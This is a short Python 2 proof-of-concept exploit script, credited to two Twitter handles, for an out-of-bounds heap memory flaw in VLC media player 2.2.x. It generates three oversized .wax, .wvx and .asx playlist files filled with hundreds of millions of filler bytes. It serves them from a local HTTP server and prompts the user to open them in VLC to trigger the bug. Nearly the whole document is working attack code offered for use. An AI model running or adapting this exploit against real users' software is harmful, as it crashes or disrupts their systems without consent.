'''
#VLC media player 2.2 /6/7/8 out of bounds heap memory buffer
authors#
twitter--- @Aotabuk & @IbrahimCyber
video: https://www.youtube.com/watch?v=lH0UMMtCZ4U
'''

import BaseHTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler

host='127.0.0.1'
port = 80


play_files1=[
    'wax',
    'wvx',
    'asx']
def t():
    global filen
    B=0x0FFFFFFF
    p="\41"*B
    R=0x1FFFFFFF
    p+="\x20"*R
    file=open(filen,'w')
    file.write(p)
    file.close()
    print "Created ok  -- {} --".format(filen)

for indx, val in enumerate(play_files1, start=1):
    pa=str('.')
    filen=val+pa+val
    t()
HandlerClass = SimpleHTTPRequestHandler
ServerClass  = BaseHTTPServer.HTTPServer
Protocol     = "HTTP/1.0"
server_address = (host,port)
HandlerClass.protocol_version = Protocol
httpd = ServerClass(server_address, HandlerClass)
sa = httpd.socket.getsockname()
for indx2, val in enumerate(play_files1, start=1):
    pa=str('.')
    filen2=val+pa+val
    print "http://{}:{}/{}".format(host,port,filen2)
print "-"*30
print " \t\t Run the file using vlc ------> or use url with vlc"
print " \t\t.\t-\t\t|\t\tV"*10
httpd.serve_forever()